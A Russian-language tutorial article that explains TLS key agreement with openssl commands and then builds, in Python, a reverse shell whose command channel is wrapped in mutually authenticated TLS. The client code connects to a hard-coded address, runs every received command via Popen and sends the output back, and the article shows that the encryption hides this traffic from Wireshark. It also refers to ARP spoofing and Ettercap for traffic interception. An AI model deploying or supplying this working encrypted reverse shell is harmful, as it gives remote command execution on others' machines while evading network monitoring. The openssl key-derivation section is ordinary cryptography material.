×
Главная   »   Статьи   »   Протокол TLS: поэтапное создание общего ключа и разработка TLS-сокетов
Протокол TLS: поэтапное создание общего ключа и разработка TLS-сокетов
Метки:      ,   ,   ,   ,   ,   ,   ,   ,   

В этой статье научимся создавать общий секретный ключ при помощи библиотеки openSSL и разработаем на языке Python TLS-сокеты, на основе ранее написанной обратной TCP-оболочки.

Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!

В статье про работу с сокетами TCP мы не использовали шифрование при передаче данных, поэтому любой мог перехватить и прочитать нашу информацию. В статье «Шифрование файлов в Linux» мы немного потренировались в написании программы для шифрования/расшифрования текстовых файлов. Давайте копнем чуть глубже и защитим обратную TCP­­-оболочку, написанную в статье «Работаем с сокетами и разрабатываем обратную TCP-оболочку на Python». Также разберемся как по этапам происходит формирование общего секретного ключа на примере библиотеки openSSL.

Протокол TLS (transport layer security – протокол защиты транспортного уровня) использует ассиметричную криптографию для получения общего ключа. Протокол TLS основан на SSL и после стандартизации IETF эти имена стали взаимозаменяемыми.

Протокол TLS предназначен для предоставления трех услуг приложениям: шифрование, аутентификация и целостность. Более подробно можно почитать, например, в статье «Что такое TLS». Кратко говоря, протокол TLS позволяет создать зашифрованный канал между двумя сторонами.

Что понимается под обеспечением протоколом TLS целостности? При передаче информации хакер может подменить какие-нибудь биты и это повлияет на расшифровку сообщения. Протокол TLS использует коды аутентификации сообщений на основе хеш-функций (HMAC). Если сообщение будет подделано, то хеши не совпадут. Что если подделать не только сообщение, но и хеш-код? Чтобы исключить такую ситуацию, хеш-код генерируется достоверной стороной и объединяется с общим симметричным ключом, вычисленными в процессе обмена ключами. Таким образом, изменить хэш-код может только владелец закрытого симметричного ключа.

На данный момент последней версией протокола является TLS 1.3, которая исправила ситуацию с перехватом незашифрованных пакетов о согласовании между клиентом и сервером тип шифрования и длину ключа. Такая уязвимость позволяла хакерам уменьшать длину ключа до 1024 бит и впоследствии восстанавливать закрытый ключ.

Как используется алгоритм Диффи-Хеллмана для вычисления общего ключа

Перед началом передачи информации две стороны должны вычислить общий ключ. На первом этапе вычисляются специальные общие параметры. В библиотеке openSSL есть программа genpkey для этих целей:

openssl genpkey -genparam -algorithm DH -out paramPG.pem

Вторым этапом является создание открытого и закрытого ключа. Для генерации открытого и закрытого ключа будут использоваться параметры, полученные на первом этапе:

openssl genpkey -paramfile paramPG.pem -out TestKeys.pem

Это мы сгенерировали ключи для одного участника. Теперь создадим пару ключей для второго. Важно: необходимо использовать те же самые параметры из первого этапа:

openssl genpkey -paramfile paramPG.pem -out TestKeysSecond.pem

На третьем этапе происходит обмен открытыми ключами с nonce-числами (случайное число, которое может быть использовано только один раз). Извлечен открытые ключи обоих участников соединения:

openssl pkey -in TestKeys.pem -pubout -out FirstPublicKey.pem
openssl pkey -in TestKeysSecond.pem -pubout -out SecondPublicKey.pem

Переходим к четвертому этапу – вычисление общего секретного ключа. Теперь оба участника могут получить один и тот же секретный ключ независимо друг от друга (помните, мы использовали одни и те же параметры при генерации открытого ключа?).

Воспользуемся утилитой pkeyutil из библиотеки openssl, чтобы сформировать при помощи параметра -derive секретный ключ первого участника на основе открытого ключа второго участника (-peerkey).

openssl pkeyutl -derive -inkey TestKeys.pem -peerkey SecondPublicKey.pem -out FirstShared.bin
openssl pkeyutl -derive -inkey TestKeysSecond.pem -peerkey FirstPublicKey.pem -out SecondShared.bin

Если не верите, что мы действительно получили один общий секретный ключ для двух участников независимо друг от друга, то можете сравнить их при помощи команды cmp, которая ничего не выведет, если они одинаковые.

cmp FirstShared.bin SecondShared.bin

В предыдущем абзаце я немного вас обманул. Мы не получили общий ключ, но этого достаточно, чтобы перейти к пятому этапу. На данный момент мы имеем большое, псевдослучайное число, но блочным шифрам больше по душе однородные случайные строки, поэтому будем использовать функцию PBKDF2 – стандарт формирования ключа на основе пароля. В отличии от своей первой версии не ограничивает генерируемый ключ 160 битами.

openssl enc -aes-256-ctr -pbkdf2 -e -a -in answer -out encrypted.txt -pass file:FirstShared.bin

Закончим с теорией и перейдем к написанию программы на Python.

Пишем защищенные сокеты с использованием протокола TLS: клиентская часть

Для написания программы нам понадобятся модуль socket и ssl. Подключим их и создадим переменные с необходимыми ключами и сертификатами (их позднее создадим).

import socket
import ssl

if __name__ == '__main__':
    client_key = 'client.key'
    client_cert = 'client.crt'
    server_cert = 'server.crt'
    port = 8080

    hostname = '127.0.0.1'

Далее создаем класс, который управляет сертификатами и параметрами сокета – SSL-контекст.

context = ssl.SSLContext(ssl.PROTOCOL_TLS, cafile=server_cert)

Давайте прервемся в написании программы и сгенерируем закрытый ключ и открытый сертификат сервера при помощи уже известной нам библиотеки openssl.

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout server.key -out server.crt

Вас спросят различные данные, идентифицирующие вашу организацию: заполните их.

Флаг -new, как вы вероятно догадались, запрашивает новый ключ, а -newkey rsa:4096  говорит, что нам нужен новый ключ RSA длиной 4096 бит. Параметр -days сообщает количество дней, сколько будет действовать сертификат, а -nodes указывает, что созданный закрытый ключ не нужно шифровать. Ключ -x509стандарт открытого ключа. Флаг -keyout сообщает имя файла закрытого и открытого ключа, а -out имя файла сертификата. Повторите то же для клиента:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout client.key -out client.crt

Ключи и сертификаты поместите в папку с программой. Продолжаем написание TLS-сокетов. Загрузим закрытый ключ и сертификат клиента:

context.load_cert_chain(certfile=client_cert, keyfile=client_key)

Далее загружаем сертификат центра сертификации (ссылка на документацию). Так же нам нужно указать, что делать в случае неудачной проверке сертификата. Установим этот параметр в CERT_REQUIERED. Еще нас интересует options, для которого мы установим необходимый бит (при помощи операции OR «|») OP_SINGLE_ECDH_USE для предотвращения использования одного и того же ключа ECDH для разный SSL сеансов, что повышает секретность передачи.

    context.load_verify_locations(cafile=server_cert)
    context.verify_mode = ssl.CERT_REQUIRED
    context.options |= ssl.OP_SINGLE_ECDH_USE

Также запретим подключение к старым версиям протокола TLS:

context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2

Далее создаем новый сокет и помещаем его в SSL-контекст для обеспечения шифрования всей информации перед отправкой в сокет.

Пишем защищенные сокеты с использованием протокола TLS: серверная часть

Серверная часть аналогична клиентской. В обертке сокета мы указываем параметр server_side как True. В статье «Работаем с сокетами и разрабатываем обратную TCP-оболочку» мы разобрались с сокетами и как выполнять команды на целевой машине, в которой запущена обратная оболочку. Улучшим нашу обратную оболочку. Ее серверная часть:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import socket
import ssl

if __name__ == '__main__':
    client_cert = 'client.crt'
    server_key = 'server.key'
    server_cert = 'server.crt'
    port = 8080

    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.verify_mode = ssl.CERT_REQUIRED
    context.load_verify_locations(cafile=client_cert)
    context.load_cert_chain(certfile=server_cert, keyfile=server_key)
    context.options |= ssl.OP_SINGLE_ECDH_USE
    context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2


    with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as sock:
        sock.bind(('', port))
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.listen(1)

        ssock = context.wrap_socket(sock, server_side=True)
        conn, addr = ssock.accept()
        
        command = ''
        while True:
            try:
                command = input(f'Enter {addr}: ')
                conn.send(command.encode())
                message = conn.recv(1024).decode()
                print(message)
            except KeyboardInterrupt:
                break

Клиентская часть немного изменена относительно ранее представленного кода (напомню, IP-адрес сервера 192.168.1.100):

import socket
import ssl
from subprocess import Popen, PIPE

if __name__ == '__main__':
    client_key = 'client.key'
    client_cert = 'client.crt'
    server_cert = 'server.crt'
    port = 8080

    hostname = '192.168.1.100'

    context = ssl.SSLContext(ssl.PROTOCOL_TLS, cafile=server_cert)
    context.load_cert_chain(certfile=client_cert, keyfile=client_key)
    context.load_verify_locations(cafile=server_cert)
    context.verify_mode = ssl.CERT_REQUIRED
    context.options |= ssl.OP_SINGLE_ECDH_USE
    context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2

    with socket.create_connection((hostname, port)) as sock:
        ssock = context.wrap_socket(sock, server_side=False, server_hostname=hostname)
        # print(ssock.version())
        command = ssock.recv(4096).decode()
        while command != 'exit':
            proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
            result, err = proc.communicate()
            ssock.send(result)
            command = (ssock.recv(4096)).decode()

Проверка работы TLS-сокетов

Запустите сервер и обратную оболочку из статьи «Работаем с сокетами и разрабатываем обратную TCP-оболочку». Теперь запустите WireShark и включите захвата пакетов. Для теста я запустил обратную оболочку на Windows 10 с IP-адресом 192.168.1.107. На сервере ввел команду cmd /c dir и получил ответ от обратной оболочки.

Как вы видите, было передано три TCP-пакета: запрос, ответ и подтверждение о получении. Нажмем правой кнопкой мыши по пакету и выберем пункт Follow -> TCP Stream. Все запросы и ответы как на ладони. Как вы помните, в статье «Перехватываем трафик при помощи ARP-спуфинга и учимся защищаться от него» мы использовали утилиту arpspoof и написали свою программу на Python для ARP-спуфинга, с помощью которых мы можем перехватить и просмотреть весь незашифрованный трафик. Кстати, для этих целей есть еще стандартная в Kali Linux программа с GUI интерфейсом Ettercap с различными плагинами и возможностями, которую мы не рассматривали в предыдущей статье.

Теперь запустите защищенную протоколом TLS обратную оболочку и сервер из этой статьи. После установления соединения сервера и клиента запустите WireShark и включите захват пакетов. Выполните такую же команду и попробуйте восстановить TCP поток.  Как вы видите, данные зашифрованы.

В этой статье мы научились своими руками создавать общий секретный ключ при помощи библиотеки openssl и доработали обратную TCP-оболочку: зашифровали канал передачи данных.

581 просмотр
10.03.2023
Автор